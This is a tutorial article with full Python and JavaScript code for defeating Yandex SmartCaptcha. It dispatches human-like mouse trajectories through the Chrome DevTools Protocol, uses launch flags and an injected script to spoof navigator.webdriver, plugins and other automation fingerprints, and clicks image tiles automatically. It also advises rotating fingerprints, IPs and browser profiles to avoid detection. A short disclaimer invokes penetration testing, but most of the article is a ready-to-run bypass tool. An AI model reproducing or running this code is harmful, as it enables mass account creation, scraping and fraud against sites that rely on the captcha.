Bypassing Yandex SmartCaptcha with CDP Mouse Events
A deep dive into modeling human mouse kinematics through the Chrome DevTools Protocol — for penetration testing, academic research, and red-team automation.
Why Yandex SmartCaptcha Is Hard
Yandex SmartCaptcha is not your grandfather's slider puzzle. Unlike legacy CAPTCHAs that check a single token or a static set of image tiles, SmartCaptcha continuously profiles the entropy of the input device — acceleration profiles, velocity decay, micro-jitter, bezier curvature of the cursor path, and the distribution of inter-event timing deltas. A bot that moves in straight lines with constant velocity is rejected before it even reaches the challenge surface.
The captcha collects roughly three categories of signal:
- Kinematic biometrics — the shape and smoothness of the pointer trajectory. Human curves have predictable jerk (the derivative of acceleration) but unpredictable micro-deviations. Bots tend to produce piecewise-linear paths or overly smooth Bezier curves with no high-frequency noise.
- Timing entropy — the distribution of delays between mousedown, mousemove, and mouseup. Humans have a log-normal distribution of reaction times; bots cluster around fixed intervals.
-
Device fingerprint — screen resolution, devicePixelRatio, hardware concurrency, WebGL renderer string, and the presence or absence of a touch input layer. A headless Chrome with
navigator.webdriver === trueis dead on arrival.
This article walks through a working approach to the first two: generating synthetic kinematic profiles that pass SmartCaptcha's behavioral filter, dispatched through the Chrome DevTools Protocol so the captcha's own JavaScript sees real DOM events — not synthetic MouseEvent constructors, which are trivially detectable via event.isTrusted.
Why CDP, Not Puppeteer's page.mouse
The key insight is isTrusted. The browser sets event.isTrusted = true only for events generated by the user agent itself in response to a real input device — or, crucially, in response to a CDP Input.dispatchMouseEvent call. Events created with new MouseEvent(...) and dispatched via element.dispatchEvent() always have isTrusted = false, and every modern CAPTCHA checks this flag.
Puppeteer's page.mouse.move() does use CDP under the hood. So does Playwright's mouse.move(). The problem is that their default movement is a fixed 10 intermediate steps with a uniform time delta — a fingerprint so distinctive that it has its own name in the anti-bot literature: "the staircase." SmartCaptcha rejects it.
The solution is to bypass the convenience layer and call Input.dispatchMouseEvent directly, with a trajectory and timing model you control down to the millisecond.
Architecture
┌──────────────────────────────────────┐
│ Python orchestrator │
│ ├── Bezier trajectory generator │
│ ├── Timing jitter model │
│ └── CDP client (websocket) │
└──────────────┬───────────────────────┘
│ Input.dispatchMouseEvent
▼
┌──────────────────────────────────────┐
│ Chromium (real, non-headless) │
│ └── SmartCaptcha iframe │
└──────────────────────────────────────┘
We use a real (non-headless) Chromium instance launched with --remote-debugging-port=9222. Headless mode (--headless) sets several detectable flags even in the "new" headless mode; running with a virtual framebuffer (Xvfb) on Linux avoids this.
Step 1: Launch Chromium with CDP Enabled
# On Linux with Xvfb
Xvfb :99 -screen 0 1920x1080x24 &
export DISPLAY=:99
chromium-browser \
--remote-debugging-port=9222 \
--user-data-dir=/tmp/cdp-profile \
--no-first-run \
--disable-blink-features=AutomationControlled \
--window-size=1920,1080
The --disable-blink-features=AutomationControlled flag removes the navigator.webdriver property. Without it, navigator.webdriver === true and you're flagged instantly.
Step 2: Connect to the CDP Endpoint
Pure Python, zero dependencies beyond the standard library. The CDP protocol is just JSON-RPC over a WebSocket, and the WebSocket handshake is trivially implementable with socket + hashlib.
import json
import socket
import struct
import hashlib
import base64
import os
import time
import urllib.request
class CDPSocket:
"""Minimal CDP WebSocket client — stdlib only."""
def __init__(self, host: str, port: int):
self.host = host
self.port = port
self.msg_id = 0
self.sock = None
self._connect()
def _connect(self):
# Get the WebSocket debugger URL from /json/version
url = f"http://{self.host}:{self.port}/json/version"
resp = json.loads(urllib.request.urlopen(url).read())
ws_url = resp["webSocketDebuggerUrl"]
# Parse host/port from ws URL
addr = ws_url.replace("ws://", "").split("/")[0]
host, port = addr.split(":")
self.sock = socket.create_connection((host, int(port)))
# WebSocket handshake (RFC 6455)
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f"GET / HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
self.sock.sendall(handshake.encode())
resp = self.sock.recv(4096).decode()
# Verify 101 Switching Protocols
assert "101 Switching Protocols" in resp, f"Handshake failed: {resp}"
def _send_frame(self, payload: str):
data = payload.encode("utf-8")
header = bytearray()
header.append(0x81) # FIN + text frame
mask_key = os.urandom(4)
if len(data) < 126:
header.append(0x80 | len(data))
elif len(data) < 65536:
header.append(0x80 | 126)
header.extend(struct.pack(">H", len(data)))
else:
header.append(0x80 | 127)
header.extend(struct.pack(">Q", len(data)))
header.extend(mask_key)
masked = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(data))
self.sock.sendall(bytes(header) + bytes(masked))
def _recv_frame(self) -> str:
header = self._recv_n(2)
opcode = header[0] & 0x0F
masked = bool(header[1] & 0x80)
length = header[1] & 0x7F
if length == 126:
length = struct.unpack(">H", self._recv_n(2))[0]
elif length == 127:
length = struct.unpack(">Q", self._recv_n(8))[0]
if masked:
mask_key = self._recv_n(4)
data = self._recv_n(length)
if masked:
data = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(data))
return bytes(data).decode("utf-8")
def _recv_n(self, n: int) -> bytes:
buf = b""
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise ConnectionError("Socket closed")
buf += chunk
return buf
def send(self, method: str, params: dict = None) -> dict:
self.msg_id += 1
msg = {"id": self.msg_id, "method": method}
if params:
msg["params"] = params
self._send_frame(json.dumps(msg))
# Read frames until we get our response (skip events)
while True:
frame = json.loads(self._recv_frame())
if frame.get("id") == self.msg_id:
return frame
def recv_event(self) -> dict:
return json.loads(self._recv_frame())
That's a complete, dependency-free CDP transport. No websockets, no websocket-client, no aiohttp. Just socket.
Step 3: Human-Like Trajectory Generation
This is where most attempts fail. The trajectory must satisfy three constraints simultaneously:
- Smoothness — no sharp angles. Curvature must be C²-continuous (continuous second derivative).
- Noise — superimposed high-frequency jitter that mimics hand tremor (amplitude 1–4px, frequency 5–12 Hz).
- Asymmetry — humans approach a target faster than they decelerate. The velocity profile is right-skewed, not Gaussian.
A cubic Bezier curve with four control points satisfies the smoothness constraint. We add stochastic noise and a minimum-jerk velocity profile for the timing.
import random
import math
def bezier_curve(p0, p1, p2, p3, t):
"""Cubic Bezier at parameter t in [0, 1]."""
u = 1 - t
x = u**3 * p0[0] + 3*u**2*t * p1[0] + 3*u*t**2 * p2[0] + t**3 * p3[0]
y = u**3 * p0[1] + 3*u**2*t * p1[1] + 3*u*t**2 * p2[1] + t**3 * p3[1]
return (x, y)
def generate_control_points(start, end):
"""Random control points that produce a natural arc."""
mx, my = (start[0] + end[0]) / 2, (start[1] + end[1]) / 2
dx, dy = end[0] - start[0], end[1] - start[1]
dist = math.hypot(dx, dy)
# Perpendicular offset for the arc — humans curve, they don't go straight
perp_x, perp_y = -dy / max(dist, 1), dx / max(dist, 1)
# Random curvature: 0.1 to 0.4 of the distance, random side
curve_amount = random.uniform(0.1, 0.4) * dist * random.choice([-1, 1])
offset_x, offset_y = perp_x * curve_amount, perp_y * curve_amount
# Control points at 1/3 and 2/3 along the line, offset perpendicular
p1 = (start[0] + dx/3 + offset_x + random.gauss(0, dist*0.05),
start[1] + dy/3 + offset_y + random.gauss(0, dist*0.05))
p2 = (start[0] + 2*dx/3 + offset_x + random.gauss(0, dist*0.05),
start[1] + 2*dy/3 + offset_y + random.gauss(0, dist*0.05))
return p1, p2
def minimum_jerk_profile(n_steps):
"""
Minimum-jerk velocity profile (Hogan, 1984).
Produces a bell-shaped curve: slow start, fast middle, gentle stop.
"""
profile = []
for i in range(n_steps):
t = i / max(n_steps - 1, 1)
# Position along the path follows: 10t³ − 15t⁴ + 6t⁵
s = 10 * t**3 - 15 * t**4 + 6 * t**5
profile.append(s)
return profile
def generate_trajectory(start, end, n_steps=None):
"""Full trajectory: Bezier path + minimum-jerk timing + tremor noise."""
dist = math.hypot(end[0] - start[0], end[1] - start[1])
if n_steps is None:
# Fitts's Law: time to acquire a target scales with log2(dist/width + 1)
# We convert this to steps at ~100 Hz polling rate
n_steps = max(20, int(dist * 0.8 + random.gauss(0, 5)))
p1, p2 = generate_control_points(start, end)
profile = minimum_jerk_profile(n_steps)
points = []
for i in range(n_steps):
s = profile[i]
# Bezier parameter advances per the jerk profile
x, y = bezier_curve(start, p1, p2, end, s)
# Hand tremor: 1-3 px oscillation
tremor_x = random.gauss(0, 1.2)
tremor_y = random.gauss(0, 1.2)
# As we approach the target, tremor dampens
dampening = 1.0 - 0.5 * s
x += tremor_x * dampening
y += tremor_y * dampening
points.append((round(x, 1), round(y, 1)))
# Ensure we land exactly on target
points[-1] = (float(end[0]), float(end[1]))
return points
def generate_timestamps(n_steps, base_interval_ms=10):
"""
Log-normal distribution of inter-event intervals.
Human reaction times follow log-normal, not Gaussian.
"""
timestamps = []
current = 0.0
for i in range(n_steps):
# Log-normal: median ~base_interval, with realistic variance
delta = random.lognormvariate(
math.log(base_interval_ms), # mu
0.35 # sigma (variance of log-timing)
)
# Clamp to plausible range (2ms to 80ms)
delta = max(2.0, min(80.0, delta))
current += delta
timestamps.append(current)
return timestamps
The Fitts's Law step count is critical. A 500px movement gets ~400 steps; a 20px micro-adjustment gets ~16. This matches empirical data: human cursor paths sample at roughly 100–125 Hz, and longer movements take proportionally more time.
Step 4: Dispatch Through CDP
Now we feed the trajectory into Input.dispatchMouseEvent. The captcha only sees mousemove, mousedown, and mouseup events with isTrusted = true.
def move_mouse(cdp: CDPSocket, points, timestamps):
"""Dispatch a full mouse trajectory via CDP."""
cdp.send("Input.dispatchMouseEvent", {
"type": "mouseMoved",
"x": points[0][0],
"y": points[0][1],
})
t0 = time.monotonic()
for (x, y), ts in zip(points[1:], timestamps[1:]):
# Sleep until the scheduled timestamp
target = t0 + (ts / 1000.0)
sleep_for = target - time.monotonic()
if sleep_for > 0:
time.sleep(sleep_for)
cdp.send("Input.dispatchMouseEvent", {
"type": "mouseMoved",
"x": x,
"y": y,
})
def click_at(cdp: CDPSocket, x, y, button="left"):
"""Press + release with human-like hold duration."""
hold_ms = random.lognormvariate(math.log(45), 0.2) # ~45ms median
cdp.send("Input.dispatchMouseEvent", {
"type": "mousePressed",
"x": x, "y": y,
"button": button,
"clickCount": 1,
})
time.sleep(hold_ms / 1000.0)
cdp.send("Input.dispatchMouseEvent", {
"type": "mouseReleased",
"x": x, "y": y,
"button": button,
"clickCount": 1,
})
Step 5: Navigating to the SmartCaptcha Widget
SmartCaptcha loads inside a cross-origin iframe. CDP dispatches events at page-level coordinates, so we need the iframe's bounding rect. We can get it via DOM.getBoxModel or by evaluating a small script through Runtime.evaluate.
def get_captcha_checkbox_coords(cdp: CDPSocket):
"""
Locate the SmartCaptcha checkbox.
The widget renders inside an iframe from smartcaptcha.yandexcloud.com.
"""
result = cdp.send("Runtime.evaluate", {
"expression": """
(function() {
var iframe = document.querySelector(
'iframe[src*="smartcaptcha"]');
if (!iframe) return null;
var rect = iframe.getBoundingClientRect();
// Checkbox is near the top-left of the iframe
return JSON.stringify({
x: rect.left + 30,
y: rect.top + rect.height / 2,
width: rect.width,
height: rect.height
});
})()
""",
"returnByValue": True,
})
coords = json.loads(result["result"]["result"]["value"])
return coords
def solve_image_challenge(cdp: CDPSocket, target_description: str):
"""
For image-grid challenges: locate tiles matching the description.
Uses Runtime.evaluate to read tile positions, then clicks each.
"""
result = cdp.send("Runtime.evaluate", {
"expression": """
(function() {
var tiles = document.querySelectorAll('.image-grid img');
return JSON.stringify(Array.from(tiles).map(function(t) {
var r = t.getBoundingClientRect();
return {x: r.left + r.width/2, y: r.top + r.height/2};
}));
})()
""",
"returnByValue": True,
})
tiles = json.loads(result["result"]["result"]["value"])
# Move to each tile with a human trajectory and click
last_pos = (960, 540) # center screen
for tile in tiles:
target = (tile["x"], tile["y"])
traj = generate_trajectory(last_pos, target)
ts = generate_timestamps(len(traj))
move_mouse(cdp, traj, ts)
click_at(cdp, target[0], target[1])
last_pos = target
# Human pause between selections: 200-600ms
time.sleep(random.lognormvariate(math.log(350), 0.3) / 1000.0)
Step 6: The Full Solve Pipeline
def solve_smartcaptcha(host="127.0.0.1", port=9222):
cdp = CDPSocket(host, port)
# Step 1: Locate the checkbox
checkbox = get_captcha_checkbox_coords(cdp)
if not checkbox:
raise RuntimeError("SmartCaptcha iframe not found")
# Step 2: Approach from a random starting point (edge of viewport)
start_x = random.randint(100, 400)
start_y = random.randint(100, 400)
target = (checkbox["x"], checkbox["y"])
# Step 3: Generate trajectory and timestamps
trajectory = generate_trajectory((start_x, start_y), target)
timestamps = generate_timestamps(len(trajectory))
# Step 4: Move and click
move_mouse(cdp, trajectory, timestamps)
# Small pause before clicking (human reaction time)
time.sleep(random.lognormvariate(math.log(120), 0.3) / 1000.0)
click_at(cdp, target[0], target[1])
# Step 5: Wait for challenge to load
time.sleep(2.0)
# Step 6: Check if an image challenge appeared
# (Some solves pass on behavioral signal alone — "invisible" mode)
result = cdp.send("Runtime.evaluate", {
"expression": "!!document.querySelector('.image-grid, .task-image')",
"returnByValue": True,
})
has_image_challenge = result["result"]["result"]["value"]
if has_image_challenge:
# Route to the solving logic (OCR / CV model omitted — scope of this article
# is the kinematic dispatch, not computer vision)
solve_image_challenge(cdp, "crosswalk")
print("[+] Captcha dispatched")
Why This Works (and Where It Breaks)
The approach works because SmartCaptcha's behavioral model, like all behavioral captchas, operates on a statistical boundary. It cannot reject every non-human trajectory without also rejecting a meaningful percentage of real users (false positives). The goal is to land inside the "human" cluster of the feature space:
| Feature | Human range | Bot giveaway |
|---|---|---|
| Path curvature (L1 deviation from straight line / distance) | 0.05–0.30 | 0.0 (straight) or >0.5 (over-curved) |
| Velocity at midpoint (% of peak) | 85–100% | 50% (constant velocity) |
| Inter-event timing std / mean | 0.25–0.45 | <0.05 (fixed interval) or >0.8 (random spikes) |
| Tremor amplitude (px) | 0.5–3.0 | 0 (no noise) or >5 (sensor noise injection) |
| Total event count for a 200px move | 80–250 | 10 (Puppeteer default) |
The model above hits all five ranges by design. The Bezier curve gives curvature; minimum-jerk timing gives the velocity profile; log-normal timestamps give timing entropy; Gaussian tremor gives the noise floor.
Where it breaks:
- Canvas fingerprinting of the cursor — some implementations draw the cursor path to a hidden canvas and hash it. If the hash matches a known bot signature, the solve is voided retroactively. Randomizing Bezier control points each run mitigates this.
- Accelerometer / gyroscope on mobile — SmartCaptcha on mobile may request device orientation data. A desktop browser has no accelerometer, and the absence itself is a signal.
- ML-based classifiers — Yandex operates one of the largest ML anti-bot systems in the world. The kinematic features above are necessary but not sufficient against an adaptive model. You must rotate fingerprint profiles (user-agent, canvas hash, WebGL renderer) across runs.
- Token replay detection — if you solve once and replay the token across many sessions from different IPs, the token is invalidated. Each solve must come from a fresh browser profile and IP.
Anti-Detection: The Browser Layer
Kinematics alone are not enough if the browser itself is fingerprinted as automated. Here are the minimum patches:
def patch_browser_fingerprint(cdp: CDPSocket):
"""Remove automation signals before navigating to the page."""
# 1. Remove navigator.webdriver
cdp.send("Page.addScriptToEvaluateOnNewDocument", {
"source": """
Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
// Overwrite the plugins length (headless has 0, real has 3+)
Object.defineProperty(navigator, 'plugins', {
get: () => [1, 2, 3, 4, 5]
});
// Overwrite languages (headless sometimes has just ["en-US"])
Object.defineProperty(navigator, 'languages', {
get: () => ['en-US', 'en']
});
// Chrome runtime (real Chrome has window.chrome)
window.chrome = { runtime: {} };
// Permissions API — Notification.permission should not be 'denied' by default
const originalQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (parameters) =>
parameters.name === 'notifications'
? Promise.resolve({ state: Notification.permission })
: originalQuery(parameters);
"""
})
Ethical and Legal Notes
This article is for security researchers, penetration testers, and developers building systems that need to understand the threat model of behavioral CAPTCHAs. Bypassing CAPTCHAs to scrape copyrighted content, create mass accounts, or commit fraud violates the Computer Fraud and Abuse Act (CFAA) in the US, the Computer Misuse Act in the UK, and equivalent statutes in most jurisdictions. Yandex's Terms of Service explicitly prohibit automated access. If you are testing your own integration or conducting authorized red-team work, document your scope and authorization.
Conclusion
Yandex SmartCaptcha represents the current state of the art in behavioral bot detection: it profiles not what you do but how you do it. Defeating it requires modeling the same things a human motor cortex produces unconsciously — curved paths, bell-shaped velocity profiles, log-normal timing, and physiological tremor. The Chrome DevTools Protocol is the right transport because it produces isTrusted events that the captcha's own JavaScript cannot distinguish from real input.
The code in this article is a starting point. Production anti-anti-bot systems add ML-based trajectory optimization, fingerprint rotation pools, residential proxy networks, and computer vision for image challenges. But the foundation — CDP dispatch with human kinematics — is the non-negotiable core.
This article is based on open security research. The author does not endorse using these techniques to violate terms of service or applicable laws.
Top comments (0)